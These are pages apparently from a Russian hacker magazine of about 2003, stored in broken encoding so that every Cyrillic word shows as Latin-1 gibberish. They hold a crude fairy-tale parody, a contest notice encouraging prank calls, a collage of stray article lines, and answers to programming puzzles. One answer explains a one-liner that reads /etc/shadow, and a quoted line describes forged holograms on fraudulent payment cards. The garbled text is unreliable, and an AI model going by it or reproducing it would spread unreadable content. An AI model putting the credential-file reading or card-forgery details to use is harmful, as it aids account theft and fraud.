- Íó, ÷åãî âàì?<br />
- Äåíüãè åñòü?<br />
- Íå-à!<br />
- Íó-êà, Ïîí÷èê, ïîäïðûãíè!<br />
- Çà÷åì ýòî?<br />
- Ïîäïðûãíè, ÿ ñêàçàë!<br />
Ïîí÷èê ïîäïðûãíóë, è â åãî êàðìàíàõ ÿâñòâåííî<br />
çàçâåíåëà ìåëî÷ü.<br />
Íåçíàéêà äåëîâèòî âûãðåá èç êàðìàíîâ êîðîòûøêè<br />
äåíüãè, çàáðàë ñåáå ïîëîâèíó, à çàòåì äàë<br />
Ïîí÷èêó ïåíäàëÿ. Òîò õëþïíóë íîñîì è ïîáðåë â<br />
ìàêäàê.<br />
- Íó è êàêîé æå ýòî äîáðûé ïîñòóïîê? – óäèâèëñÿ<br />
Òîðîïûæêà.<br />
- Äà òû íå øàðèøü! Òåïåðü îí ïîòðàòèò íà ñâîè<br />
ñðàíûå ÷èçáóðãåðû â äâà ðàçà ìåíüøå è ïîõóäååò!<br />
Íó, è ãäå æå ìîÿ âîëøåáíàÿ ïàëî÷êà? Çàñëóæèë!<br />
Âíåçàïíî ïðîñòðàíñòâî âîêðóã Íåçíàéêè çàñâåòèëîñü<br />
âñåìè öâåòàìè ðàäóãè, è â åãî ðóêå âîçíèêëà<br />
âîëøåáíàÿ ïàëî÷êà. Ïàëî÷êà áûëà âñÿ â<br />
òðåùèíàõ, ñ íåå êàïàëà êàêàÿ-òî çåëåíàÿ ñëèçü,<br />
äà è âîîáùå âèäîê ó íåå áûë êðàéíå ñîìíèòåëüíûé.<br />
Íåçíàéêà õîòåë óæå âçìàõíóòü åé è çàãàäàòü<br />
æåëàíèå, êàê âäðóã Òîðîïûæêà ñõâàòèë åãî<br />
çà ðóêó è ñêàçàë:<br />
- Ñëóøàé, êàêàÿ-òî ñòðåìíàÿ ýòà ïàëî÷êà. Äàâàé<br />
ëó÷øå ïðîòåñòèðóåì åå ñíà÷àëà. Òîëüêî íå íà ñåáå!<br />
- À íà êîì?<br />
- Äà õîòü íà Ïîí÷èêå!<br />
- Íó ëàäíî! – Íåçíàéêà âçìàõíóë âîëøåáíîé ïàëî÷êîé.<br />
- Æåëàþ, ÷òîáû Ïîí÷èê óäèâèëñÿ! Ïðÿìî<br />
ñåé÷àñ!<br />
Ïîí÷èê ñèäåë â ìàêäàêå è, êàïàÿ ìàéîíåçîì íà<br />
øòàíû, çàïèõèâàë â ñåáÿ äâîéíîé ÷èçáóðãåð, êîãäà<br />
ðàçäàëñÿ øóì âèíòîâ äâóõ âåðòîëåòîâ, îñâåòèâøèõ<br />
çàáåãàëîâêó ìîùíûìè ïðîæåêòîðàìè.<br />
Åùå ÷åðåç ìãíîâåíèå ãðîìàäíûé ïðîìûøëåííûé<br />
ýêñêàâàòîð ðàçíåñ ñâîèì òÿæåëûì êîâøîì ïîëîâèíó<br />
ìàêäàêà, è â îáðàçîâàâøèéñÿ ïðîåì âîðâàëñÿ<br />
êðàñíîçíàìåííûé àíñàìáëü ïåñíè è ïëÿñêè<br />
èì. Àëåêñàíäðîâà è ãðîìîãëàñíî ãðÿíóë: “Ðîçïðÿãàéòå,<br />
õëîïöi, êîíåé. Òàé ëÿãàéòå ñïî-<br />
÷èâàòü! À ÿ ïiäó â ñàä çåëåíèé.  ñàä êðèíè÷åíüêó<br />
êîïàòü. Ìàðóñÿ, ðàç, äâà, òðè, êàëèíà.<br />
×îðíÿâàÿ äiâ÷èíà,  ñàäó ÿãîäè ðâàëà!!!”<br />
Ïîí÷èê óäèâèëñÿ…<br />
ÌÅÃÀÀÊÖÈß!<br />
Äîðîãîé çàñðàíåö, íàó÷íî-ïîïóëÿðíûé<br />
æóðíàë ][ ïðîäîëæàåò ñòèìóëèðîâàòü<br />
òâîè òâîð÷åñêèå ñïîñîáíîñòè! Íà ýòîò<br />
ðàç ïîáåäèòåëè áóäóò âûáèðàòüñÿ àæ<br />
ïî äâóì íîìèíàöèÿì:<br />
1. Ìåãà-ðåìåéê’2003<br />
2. Ìåãà-ïðàíê’2003<br />
Ìåãà-ðåìåéê – áåðåøü êàêîå-íèáóäü ýïîõàëüíîå<br />
ïðîèçâåäåíèå (Íåçíàéêó, Áóðàòèíó,<br />
Øåðëîêà Õîëìñà – ïîôèã ÷òî, âûáîð<br />
çà òîáîé) è ïîäâåðãàåøü åãî æåñòêîé îáðàáîòêå,<br />
äàáû îíî ñîîòâåòñòâîâàëî ñóðîâûì<br />
ðåàëèÿì ñîâðåìåííîñòè.<br />
Ìåãà-ïðàíê – òâîè áåñ÷åëîâå÷íûå òåëåôîííûå<br />
ýêñïåðèìåíòû íàä ñîãðàæäàíàìè.<br />
Åñëè òû õîòÿ áû ðàç çâîíèë â ñëóæáó<br />
ïñèõîëîãè÷åñêîé ïîääåðæêè è ãîâîðèë<br />
òåòå-ïñèõîëîãó, ÷òî òû – ëåñíîé äÿòåë<br />
Âóäè Âóäïåêåð, çíà÷èò, ó òåáÿ åñòü âñå<br />
øàíñû ñòàòü ïîáåäèòåëåì!<br />
Øëè ñâîè òåêñòû íà ñâÿùåííûé e-mail<br />
danya@danya.ru. Ïîáåäèòåëü â íîìèíàöèè<br />
“Ìåãà-ðåìåéê’2003” ïîëó÷èò â íàãðàäó<br />
èãðóøêó “ßäåðíûé Òèòáèò” (íàâîðî-<br />
÷åííûé DVD-áîêñ ñ ìîäíîé áðîøþðîé<br />
âíóòðè) ñ ìîèì àâòîãðàôîì è ïåðñîíàëüíûìè<br />
ðåñïåêòàìè. À ïîáåäèòåëü â íîìèíàöèè<br />
“Ìåãà-ïðàíê’2003” ïîëó÷èò â íàãðàäó<br />
e-mail àäðåñ @danya.ru (óëüòðàýêñêëþçèâ!<br />
òàêîãî íåò áîëüøå íè ó êîãî!!!).<br />
Íó è, êîíå÷íî æå, òåêñòû ïîáåäèòåëåé<br />
áóäóò îïóáëèêîâàíû íà ýòèõ ñàìûõ<br />
ñòðàíèöàõ! Òàê ÷òî, ïàðåíü, çàòàðèâàéñÿ<br />
÷èïñàìè, êîëîé – è âïåðåä…<br />
1 2 3 4<br />
106 Íüþñû Ôåððóì Inside PC_Zone Âçëîì
X-Crew<br />
Þíèòû<br />
ËÀÌÀÐÀÇÌÛ<br />
Ó íàñ åñòü íåñêîëüêî ðóáðèê, êîòîðûå ñòðîÿòñÿ íà ïèñüìàõ ÷èòàòåëåé (FAQ,<br />
Hack-FAQ, e-ìåéë, Áîðäà). Èíîãäà íàì ïðèõîäèò òàêîå... íàðîäíîå òâîð÷åñòâî,<br />
÷òî óäåðæàòüñÿ è íå íàïå÷àòàòü ÝÒÎ íà ñòðàíèöàõ æóðíàëà ïðîñòî íåâîçìîæíî.<br />
Íî, îêàçûâàåòñÿ, ìû è ñàìè íå ëàïòåì ùè õëåáàåì, è, äàáû íå îòñòàâàòü îò âàñ<br />
â ïðîÿâëåíèÿõ ÷óäîâèùíîé èçîáðàçèòåëüíîé ñèëû ÿçûêà, ìû ðåøèëè îòêðûòü<br />
íîâóþ ðóáðèêó: Ëàìàðàçìû Õàêåðà. Äà-äà, ýòî ñàìûå íàñòîÿùèå, ïîäëèííûå<br />
ëàìàðàçìû, âûâåäåííûå ðóêàìè íàøèõ àâòîðîâ (ïîîòðûâàë áû...) è äîáëåñòíî<br />
îòëîâëåííûå íàøèìè ðåäàêòîðàìè (â îñîáåííîñòè, ëèòåðàòóðíûì). Enjoy!<br />
Âíèìàíèå! Âñå, ÷òî íàïå÷àòàíî íà ýòèõ ñòðàíèöàõ, ìîãëî áû ïîéòè â íîìåð!<br />
Åñëè òàêîâûå èìåþòñÿ, ñêðèïò ïîñûëàåò<br />
òåáå SMS íà òåëåôîí, â òåëå êîòîðîé<br />
áóäåò íàõîäèòüñÿ ïîñëåäíåå ïèñüìî ñ<br />
èíòåðåñóþùåãî ÿùèêà.<br />
ß óâåðåí, ÷òî òû áû íå õîòåë ïîëó÷èòü ïî<br />
SMS âñþ ïîýìó Åâãåíèÿ Îíåãèíà íà<br />
äðåâíåðóññêîì ÿçûêå =)<br />
Ïîñëå âñåãî âûøåèçëîæåííîãî, ïîïûòàþñü<br />
ïðîäåêëàìèðîâàòü ñàì ñêðèïò<br />
Ìû æå íàïèøåì ôîðóì, óïèðàÿñü<br />
â íåñêîëüêî èíóþ êîíöåïöèþ<br />
ïðîãðàììèðîâàíèÿ<br />
Ñòîèò ëè ãîâîðèòü, ÷òî ðàçîáðàòüñÿ â òàêèõ<br />
ïðèëîæåíèÿõ òðåçâîìó ÷åëîâåêó ìîæåò<br />
îêàçàòüñÿ íåòðèâèàëüíîé çàäà÷åé.<br />
ïîýòîìó òåîðåòè÷åñêè âåðîÿòíîñòü âçëîìà<br />
Web-ñåðâåðà óâåëè÷èâàåòñÿ â ÷èñëî<br />
çàêðåïëåííûõ çà èìåíåì IP-àäðåñîâ ðàç.<br />
êàêîé-òî ýêçîòè÷åñêèé SQL ñåðâåð, äàëåêî<br />
íå ïîõîæèé íà mysql èëè postrgesql.<br />
Òàê ÷òî óæ, ïî êðàéíåé ìåðå,<br />
ôóíêöèþ àâòîðèçàöèè ïîëüçîâàòåëÿ<br />
ñëåäóåò ïèñàòü êàê ñëåäóåò.<br />
Ëþáîìó ìàëî-ìàëüñêè çíàêîìîìó<br />
÷åëîâåêó ñ èíòåðíåòîì èçâåñòíû òàêèå<br />
ïðîãðàììû-êà÷àëêè, êàê:<br />
Çàëïîì äîïèâ áóòûëêó äî äíà, ñîçíàíèå<br />
íà÷àëî ïîñòåïåííî ïðèõîäèòü ê ãëàâíîìó<br />
ðåäàêòîðó.<br />
ß íå äóìàþ, ÷òî ýòè ëþäè íåäîñòàòî÷íî<br />
êðóòû, ÷òîáû íå ìî÷ü çàâåñòè ñåáå<br />
êðåäèòíóþ êàðòó.<br />
âñÿ íàäåæäà ëåæèò íà<br />
êîñìè÷åñêèõ ðåéíäæåðàõ.<br />
áûë êóïëåí èì íà çàðàáîòàííûå â<br />
ïîòå è êðîâè ëèöà äåíåæêè<br />
Ê ñ÷àñòüþ, óæå äàâíî íàøëèñü ëþäè,<br />
êîòîðûå âûêëàäûâàþò ñâîè<br />
êîìïîíåíòû íà âñåîáùåå þçàíüå.<br />
Åñëè ïðèñòàëüíî ïðèñìîòðåòüñÿ â ñóòü<br />
ïðîáëåìû çàùèòû èíôîðìàöèè,<br />
Þíèòîâ ñëèøêîì ìíîãî, ÷òîáû èìè<br />
ðàçäóìàíî óïðàâëÿòü.<br />
Íàêîíåö-òî ðàçðàáîò÷èêàì óäàëîñü<br />
çàñòàâèòü èãðîêà èãðàòü òàêòè÷íî, ñêðûòíî.<br />
Õîòÿ ïðîãðåññ ïî ñðàâíåíèþ ñ<br />
ïðåäûäóùèìè ÷àñòÿìè íà ëèöî.<br />
Ñ ðîñòîì<br />
ïðîèçâîäèòåëüíîñòè<br />
íàáèðàþò îáîðîòû è<br />
òåïëîâûäåëåíèÿ.<br />
Ðàçðàáîò÷èêè óïðîñòèëè âñå â êîíåö<br />
Òîëüêî íà ñåé ðàç ýòî ãîðäîå<br />
íàçâàíèå áóäåò íåñòè íà ñåáå<br />
ìàòåðèíêà ASUS P4PE<br />
Ýòî ïèñüìî åùå ðàç ïîêàçàëî î<br />
íàïëåâàòåëüñêîì îòíîøåíèè ê êëèåíòàì ñî<br />
ñòîðîíû àäìèíèñòðàòîðîâ.<br />
Íî èãðàòü â íåå – ÷èñòåéøåå óïîåíèå.<br />
Èñïîëüçóåìàÿ çäåñü èíôîðìàöèÿ íå<br />
ïðîïàãàíäèðóåò ÷èòàòåëÿ ê äåéñòâèÿì,<br />
Áîëåå òîãî, ïîÿâèëàñü ìàññà îòëè÷íûõ<br />
ïðîãðàìì, ñïîñîáíûõ ñîñòàâèòü<br />
ðåàëüíóþ êîíôåðåíöèþ âñåìó òîìó, ÷òî<br />
îïèñûâàëîñü ðàíåå.<br />
Ê òîìó æå, íà íåãî íàòðàâèëè áû äàëåêî íå<br />
îäíó ñòàòüþ, òàê êàê âçëîì áûë íå èç<br />
ëþáèòåëüñêèõ ïîáóæäåíèé.<br />
Èíà÷å çàêðûâàåì ñîêåò è ïðèñâàèâàåì<br />
èäåíòèôèêàòîðó çíà÷åíèå "-1",<br />
âïîñëåäñòâèè ñ÷èòàåìûì êàê ìåðòâûé.<br />
Îò÷àÿâøèñü â òàêîì<br />
ðàñêëàäå, õàêåð çàøåë<br />
â ïàïêó /etc.<br />
Ñ ïåðâîãî âçãëÿäà áðîñèëñÿ ÷óòü<br />
èçìåíåííûé èíòåðôåéñ.<br />
Öèôðîâîé ñèãíàë - ïîñëåäîâàòåëüíîñòü èç<br />
íîëåé è åäèíèö îáû÷íî âûãëÿäèò<br />
ýëåêòðè÷åñêè, êàê ñòóïåíüêè.<br />
1 2 3 4<br />
108 Íüþñû Ôåððóì Inside PC_Zone Âçëîì
Ïå÷àòàòü ýòî ïðîáëåì íåò (òàê<br />
æå, êàê è íå ïå÷àòàòü).<br />
Ó íèõ áûëè âçàèìíûå<br />
èíòåðåñû è âçãëÿäû íà<br />
æèçíü<br />
Îò òåáÿ îñòàëîñü,<br />
îïÿòü æå, ñäåëàòü<br />
ñêðèïò äëÿ dump'à<br />
ðåçóëüòàòîâ<br />
ñòàòèñòèêè,<br />
Ðàçðàáîò÷èêè óïðîñòèëè âñå â êîíåö<br />
Ìîæíî ðèñîâàòü ÓÔ èëè íåò - íî âñå æå<br />
êàê ïî ìíå - ïðèÿòíåå, ÷òî íà ýëåêòðîíå,<br />
ñîãëàñíî âûøåïðèâåäåííîìó îïèñàíèþ,<br />
åãî ìîæåò è íå áûòü<br />
èññëåäîâàòåëè, ñòðåìèâøèåñÿ ê çíàíèÿì,<br />
íî çàíåñåííûå ïîä îäíó ãðåáåíêó ñî<br />
ñâîèìè "òåìíûìè" ñîáðàòüÿìè.<br />
Ñ îäíîé ñòîðîíû ýòî î÷åíü ïðèÿòíî è<br />
ïîëåçíî, íî ñ äðóãîé ýòî âñêðûâàåò ïîðîê<br />
âñåõ íîóòáóêîâ.<br />
Óâû, ó ýòîé òåíäåíöèè<br />
åñòü è îáðàòíàÿ<br />
ñòîðîíà ìîíåòû.<br />
Ñöåíàðèñòû îòîøëè îò ïðåñëîâóòûõ è<br />
ïîøëûõ øóòîê è íàäåëèëè ñþæåò (êñòàòè,<br />
î÷åíü ñõîæèé ñ êíèæíûì) çàáàâíûì è<br />
âåñåëûì îòòåíêîì.<br />
Ê òîìó âðåìåíè êîìïüþòåðíûå<br />
òåõíîëîãèè óæå ïðèñòóïèëè ê<br />
áóðíîìó ðàçâèòèþ<br />
ïðè åãî êîíôèãóðàöèè ÿ<br />
îñíîâûâàëñÿ íà "ìàññû",<br />
Ê ïðèìåðó, ïóñòü ýòà<br />
èíôîðìàöèÿ áóäåò<br />
çàïèñûâàòüñÿ â<br />
ñïåöèàëüíûé ôàéë<br />
êàæäûé äåíü,<br />
Ñ ïåðâîãî âçãëÿäà áðîñèëñÿ ÷óòü<br />
èçìåíåííûé èíòåðôåéñ.<br />
ò.å. íå ïðîâåðÿåò áîëüøå ëè<br />
òîò îòêóäà, òîãî êóäà ;)<br />
Âçëîìùèê ê òîìó âðåìåíè ïåðåíîñèë<br />
åùå ëåãêóþ ñòàäèþ èíòåðíåòçàâèñèìîñòè,<br />
à â ïëàíå âçëîìà áûë åùå<br />
íèêòî èíîé, êàê ñêðèïòêèääè,<br />
Äóìàþ, ó òåáÿ óéäåò íåìàëî<br />
âðåìåíè, ïðåæäå ÷åì íàäîåñò<br />
âñå, ÷òî óñïåëè íàñî÷èíÿòü íà<br />
J2ME äëÿ òâîåãî òåëåôîíà!<br />
ß õîòåë ëèøü ïîêàçàòü, êòî òàêèå êàðäåðû,<br />
÷åì îíè çàíèìàþòñÿ, è ïî÷åìó äåëàþò<br />
îäèí âûáîð, à íå äðóãîé.<br />
Ëèáî îíè áûëè ïðèåìëåìûìè (ìîæíî ïîíÿòü<br />
çíà÷åíèå ýòîãî ñëîâà) ïî êà÷åñòâó, íî äîëæíû<br />
áûëè íàêëåèâàòüñÿ, ÷òî ïîçâîëÿåò, ïîäöåïèâ<br />
ãîëîãðàììó íîãòåì, ñîäðàòü åå, ÷òî ñðàçó æå<br />
âûäàâàëî ïîääåëêó - êðîìå òîãî, ïðîâåäÿ ïàëüöåì<br />
ïî êàðòå, ÷óâñòâóåòñÿ ïåðåõîä ìåæäó ãîëîãðàììîé<br />
è ïîâåðõíîñòüþ ïëàñòèêà, ëèáî ãîëîãðàììû áûëè â<br />
ëåíòàõ, ÷òî ïîçâîëÿëî èõ âïàèâàòü â êàðòó íà<br />
ñïåöèàëüíîì îáîðóäîâàíèè, íî ñàìî êà÷åñòâî<br />
ãîëîãðàììû îñòàâëÿëî æåëàòü ìíîãî ëó÷øåãî.<br />
Ëàìàðàçìû îòëàâëèâàåò ëèò.ðåä<br />
Ìàðèÿ Àëüäóáàåâà aka Ëèñà<br />
5 Þíèêñîèä 6 X-Ñòèëü 7 Êîäèíã 8<br />
Åñëè òû ñ÷èòàåøü ñåáÿ êîäåðîì, òî ó òåáÿ åñòü<br />
øàíñ, íå íàïðÿãàÿñü, âûèãðàòü îäèí èç ïðèçîâ îò<br />
Defender, äîñòàòî÷íî ïðîñòî ðåøèòü íàøó êîäåðñêóþ<br />
çàäà÷êó è îòïðàâèòü ïðàâèëüíûé îòâåò íà<br />
magazine@real.xakep.ru. Åñëè òû íå êîäåð, âñå<br />
ðàâíî ïîïðîáóé - âäðóã ïîëó÷èòñÿ?<br />
Ñìûñë òàêîé: ó íàñ åñòü áåñêîíå÷íàÿ øêàëà öåëûõ<br />
÷èñåë (ïðåäñòàâü ñåáå ëèíåéêó, îáå ñòîðîíû êîòîðîé<br />
ðàñõîäÿòñÿ îò íóëÿ â áåñêîíå÷íîñòü). Íà ýòó<br />
ëèíåéêó íà ïàðàøþòàõ ñïóñêàþòñÿ äâà ðîáîòà-äèâåðñàíòà,<br />
íåñóùèõ íà ñåáå ÿäåðíûå çàðÿäû. Îíè<br />
ïðèçåìëÿþòñÿ îäíîâðåìåííî, íî â ðàçíûõ òî÷êàõ.<br />
Ñáðàñûâàþò ïàðàøþòû è íà÷èíàþò äåéñòâîâàòü,<br />
ñîãëàñíî çàëîæåííîé â íèõ ïðîãðàììå. Ïðîãðàììà<br />
ó îáîèõ îäíà è òà æå. Îíà îïèñûâàåò èõ äâèæåíèå<br />
ñ ïîìîùüþ ÷åòûðåõ îïåðàòîðîâ:<br />
[]: Left - êîìàíäà ïðèêàçûâàåò ðîáîòó<br />
ñäåëàòü øàã âëåâî<br />
[]: Right - êîìàíäà ïðèêàçûâàåò ðîáîòó<br />
ñäåëàòü øàã âïðàâî<br />
[]: GoTo - êîìàíäà îòñûëàåò<br />
ðîáîòà íà óêàçàííóþ ñòðî÷êó êîäà<br />
[]: PGoTo - òî æå, ÷òî è ïðåäûäóùàÿ<br />
êîìàíäà, íî âûïîëíÿåòñÿ îíà òîëüêî â òîì<br />
ñëó÷àå, åñëè ðîáîò íàõîäèòñÿ íà òî÷êå ïðèçåìëåíèÿ<br />
(ñâîåé èëè äðóãîãî ðîáîòà, ò.å. â îäíîé èç<br />
äâóõ òî÷åê, ãäå îíè ñáðîñèëè ïàðàøþòû)<br />
Íà ïåðâûé âçãëÿä, îáà ðîáîòà äîëæíû ïðûãàòü ïî<br />
øêàëå, íèñêîëüêî íå ìåøàÿ äðóã äðóãó, îäíàêî íå<br />
â ýòîì íàøà öåëü. Ïîìíèøü, ÷òî îíè íåñóò ÿäåðíûé<br />
çàðÿä? Çíà÷èò, íàäî ñäåëàòü òàê, ÷òîáû îíè<br />
ðàíî èëè ïîçäíî âñòðåòèëèñü è óñòðîèëè ëîêàëüíûé<br />
Àðìàãåääîí. Ñîîòâåòñòâåííî, òåáå íóæíî íàïèñàòü<br />
ïðîãó, êîòîðàÿ çàïðîãðàììèðóåò íàøèõ<br />
æåëåçíûõ êàìèêàäçå òàêèì îáðàçîì, ÷òîáû îíè<br />
âñå æå îêàçàëèñü â îäíîé òî÷êå. Âàæíîå äîïîëíåíèå:<br />
êîä ìîæåò èñïîëüçîâàòü òîëüêî ýòè ÷åòûðå<br />
îïåðàòîðà, îí äîëæåí áûòü êàê ìîæíî êîðî÷å è,<br />
ñàìîå ãëàâíîå, èìåé â âèäó ÷òî êàæäûé îïåðàòîð<br />
âûïîëíÿåòñÿ ðîâíî îäíó ñåêóíäó, íå çàâèñèìî îò<br />
òîãî, ïåðåäâèíåòñÿ ðîáîò èëè îñòàíåòñÿ íà ìåñòå.<br />
֏!<br />
àêóñòè÷åñêàÿ ñèòåìà<br />
Defender Mercury 50<br />
wwwwww..deeffendderr..rru<br />
Áåñïðîâîäíàÿ îïòè÷åñêàÿ ìèíè-ìûøü<br />
DEFENDER 1450 UP PS/2+USB<br />
Áåñïðîâîäíàÿ îïòè÷åñêàÿ<br />
ìûøü DEFENDER 1480<br />
Defender íà Êîìòåêå:<br />
B609
Þíèòû<br />
X-PUZZLE<br />
Èâàí Ñêëÿðîâ (Sklyarov@real.xakep.ru)<br />
ÎÒÂÅÒÛ Ê ÏÐÅÄÛÄÓÙÅÌÓ ÂÛÏÓÑÊÓ X-PUZZLE<br />
Îòâåò íà ïàçë #1<br />
«CryptFuck»<br />
CryptFuck v1.1 çàøèôðîâàë ñëîâî<br />
«Ash», ñëåäóþùèì îáðàçîì:<br />
E=xnnb<br />
Àëãîðèòì øèôðîâàíèÿ ñëåäóþùèé:<br />
êàæäûé ñèìâîë â øèôðóåìîì<br />
ñëîâå çàìåíÿåòñÿ äâóìÿ<br />
ñèìâîëàìè, ïåðâûé èç êîòîðûõ<br />
ïîëó÷àåòñÿ ïðèáàâëåíèåì 4 ê ïîðÿäêîâîìó<br />
íîìåðó ñèìâîëà â<br />
ñëîâå (ïîðÿäêîâûå íîìåðà íà÷èíàþòñÿ<br />
ñ íóëÿ) è ê åãî êîäó ASCII<br />
(èëè Unicode, â äàííîì ñëó÷àå íå<br />
ïðèíöèïèàëüíî), à âòîðîé ñèìâîë<br />
- âû÷èòàíèåì 4 è ïîðÿäêîâîãî<br />
íîìåðà èç êîäà ñèìâîëà â<br />
ñëîâå. Òàê ëàòèíñêàÿ áóêâà «A» â<br />
ñëîâå «Ash» áóäåò çàøèôðîâàíà<br />
äâóìÿ ñèìâîëàìè «E=», ò. ê. êîä<br />
áóêâû «A» â òàáëèöå ASCII ðàâåí<br />
65, à ïîðÿäêîâûé íîìåð â ñëîâå<br />
0, òî 65+0+4=69 (äåñÿòè÷íûé<br />
êîä áóêâû «E»), à 65-0-4=61 (äåñÿòè÷íûé<br />
êîä çíàêà «=»), ñëåäóþùàÿ<br />
áóêâà «s» áóäåò èìåòü ïîðÿäêîâûé<br />
íîìåð 1, à êîä â òàáëèöå<br />
ASCII 115, ñëåäîâàòåëüíî,<br />
ïî òåì æå ñîîáðàæåíèÿì, îíà áóäåò<br />
çàøèôðîâàíà ñèìâîëàìè<br />
«xn» è ò. ä.<br />
Ñîìíåíèå â äóøó M.J.Ash’à çàêðàëîñü<br />
ïîñëå òîãî, êàê îí çàìåòèë,<br />
÷òî â îáîèõ ñëó÷àÿõ ïîëó÷åííûé<br />
øèôð ñëîâ «Xakep» è<br />
«pekaX» èìååò îäèíàêîâóþ êîìáèíàöèþ<br />
ñèìâîëîâ â ñåðåäèíå<br />
«qe» (áóêâà «k»), õîðîøèé àëãîðèòì<br />
òàêîãî, åñòåñòâåííî, äîïóñêàòü<br />
íå äîëæåí.<br />
Îòâåò íà ïàçë #2<br />
«Ëîìêà ìîçãîâ â êîíñîëè»<br />
Ïåðâàÿ ñòðîêà èùåò âñå coreôàéëû,<br />
ôàéëû íóëåâîãî ðàçìåðà<br />
èëè ôàéëû ñ ðàñøèðåíèåì, íà-<br />
÷èíàþùèìñÿ íà öèôðó â äèàïàçîíå<br />
îò 0 äî 9, ñ ïðàâàìè äîñòóïà<br />
äëÿ âûïîëíåíèÿ (ïðîñìîòðà)<br />
è äëÿ çàïèñè ïðî÷èìè ïîëüçîâàòåëÿìè,<br />
ê êîòîðûì îáðàùàëèñü<br />
áîëåå 30 äíåé íàçàä, çàòåì âûäàåò<br />
çàïðîñ íà èõ óäàëåíèå.<br />
Âòîðàÿ ñòðîêà âûâîäèò ñòðîêè ñ<br />
èõ ïîðÿäêîâûì íîìåðîì èç ôàéëà<br />
/etc/shadow, èìåþùèå â ÷åòâåðòîì<br />
ïîëå 0 è äëèíó ïåðâîãî<br />
ïîëÿ áîëåå ÷åòûðåõ ñèìâîëîâ. Â<br />
êà÷åñòâå ðàçäåëèòåëÿ ïîëåé âûáðàíî<br />
äâîåòî÷èå.<br />
Òðåòüÿ ñòðîêà âûäàåò èíôîðìàöèþ<br />
î òåêóùåì ïîëüçîâàòåëå íà<br />
ýêðàíå ñ îòñòóïîì âïðàâî íà 18<br />
ïîçèöèé ìèãàþùèì òåêñòîì<br />
êðàñíîãî öâåòà íà ãîëóáîì ôîíå,<br />
çàòåì âîññòàíàâëèâàåò ÷åðíûé<br />
ôîí ñ áåëûì òåêñòîì è ñáðàñûâàåò<br />
àòðèáóòû (ìèãàíèå).<br />
×åòâåðòàÿ ñòðîêà â ôîíîâîì ðåæèìå<br />
îáúåäèíÿåò ôàéëû a.o è<br />
b.o è ïåðåäàåò óòèëèòå grep, êîòîðàÿ<br />
âûáèðàåò â íèõ âñå ñòðîêè,<br />
íå ñîäåðæàùèå ñëîâî root,<br />
íå ó÷èòûâàÿ ïðè ýòîì ðåãèñòðà,<br />
çàòåì ïðîèñõîäèò ñîðòèðîâêà è<br />
çàïèñü â äîìàøíþþ äèðåêòîðèþ,<br />
â ôàéë ñ èìåíåì ab.$$, ãäå<br />
$$ – íîìåð òåêóùåãî ïðîöåññà.<br />
Ïÿòàÿ ñòðîêà âûïîëíÿåò ïåðåçà-<br />
ãðóçêó ñèñòåìû ïðè ïîëó÷åíèè<br />
ñèãíàëà ñ íîìåðîì 3 (SIGQUIT).<br />
Îòâåò íà ïàçë #3<br />
«Õóäîæåñòâà íà HTML»<br />
Êîä HTML, ðèñóþùèé àìåðèêàíñêèé<br />
ôëàã ïîêàçàí íèæå. Ðåàëèçóåòñÿ<br />
ýòî ñ ïîìîùüþ îáû÷íûõ<br />
òàáëèö, äóìàþ, äðóãèå êîììåíòàðèè<br />
çäåñü èçëèøíè.<br />
<br />
<br />
<br />
<br />
* * * * * * * *<br />
* * * * * * * *<br />
* * * * * * * *<br />
* * * * * * * *<br />
* * * * * * * *<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
Îòâåò íà ïàçë #4<br />
«BUFFER OVERFLOW»<br />
Âñå òðè êóñêà ïîòåíöèàëüíî ïîäâåðæåíû<br />
îøèáêå ïåðåïîëíåíèÿ<br />
áóôåðà.<br />
Ïåðâûé êóñîê êîäà îñóùåñòâëÿåò<br />
÷òåíèå ñèìâîëîâ â áóôåð äî ââîäà<br />
êîíöà ôàéëà (EOF). Ò. ê. ãðàíè÷íûå<br />
ïðîâåðêè îòñóòñòâóþò, òî<br />
äàííûé êîä ïîòåíöèàëüíî ïîäâåðæåí<br />
ïåðåïîëíåíèþ áóôåðà.<br />
Âî âòîðîì è òðåòüåì êóñêàõ èñïîëüçîâàíû<br />
ñòàíäàðòíûå ôóíêöèè<br />
ÿçûêà Ñè: gets() è strcpy(),<br />
íå îñóùåñòâëÿþùèå ïðîâåðêó<br />
íà âûõîä èç âûäåëåííîé îáëàñòè<br />
ïàìÿòè, à ïîòîìó òàêæå ÿâëÿþùèåñÿ<br />
ïîòåíöèàëüíî ïîäâåðæåííûìè<br />
îøèáêå ïåðåïîëíåíèÿ<br />
áóôåðà.<br />
«ÏÐÎÉÄÈÑÜ ÄÅÁÀÃÃÅÐÎÌ ÏÎ ÑÂÎÈÌ ÌÎÇÃÀÌ!»<br />
Íå ñòåñíÿéñÿ ïðèñûëàòü ìíå ñâîè îòâåòû, äàæå åñëè òû ñìîã îòâåòèòü âñåãî<br />
íà îäèí ïàçë, ÿ ñ èíòåðåñîì ïî÷èòàþ òâîè îðèãèíàëüíûå ðåøåíèÿ. Íó, à<br />
èìåíà ãåðîåâ, êîòîðûå ïåðâûìè ïðàâèëüíî îòâåòÿò íà âñå âîïðîñû, êîíå÷íî<br />
æå, áóäóò îïóáëèêîâàíû â æóðíàëå, ÷åì ïðîñëàâÿòñÿ íà âñþ Ðîññèþ (è íå<br />
òîëüêî) è íàâå÷íî âîéäóò â èñòîðèþ Õ. Ïðèç çà íàìè íå çàðæàâååò. ;)<br />
Íî ïîìíè: â áîëüøèíñòâå ñëó÷àåâ âàðèàíò îòâåòà çàñ÷èòûâàåòñÿ êàê<br />
ïðàâèëüíûé, òîëüêî åñëè ê íåìó ïðèëîæåíî ïîäðîáíîå è ÂÅÐÍÎÅ<br />
îáúÿñíåíèå, ïî÷åìó âûáðàí èìåííî ýòîò âàðèàíò, à íå êàêîé-ëèáî äðóãîé.<br />
1 ïðèç 2 ïðèç<br />
Ðàä ñîîáùèòü, ÷òî âñå ïîáåäèòåëè<br />
â ýòîì íîìåðå<br />
ïîëó÷àþò çàñëóæåííûå<br />
ïðèçû, ò. ê. äàëè ÏÎË-<br />
ÍÎÑÒÜÞ ïðàâèëüíûå îòâåòû.<br />
Ïî ñïðàâåäëèâîñòè<br />
ÿ ðåøèë ðàñïðåäåëèòü<br />
ìåñòà â òîì ïîðÿäêå, â êàêîì<br />
êî ìíå ïðèõîäèëè îòâåòû.<br />
Ò. å. íà ïåðâîì ìåñòå<br />
òîò, êòî ïðèñëàë ñâîè<br />
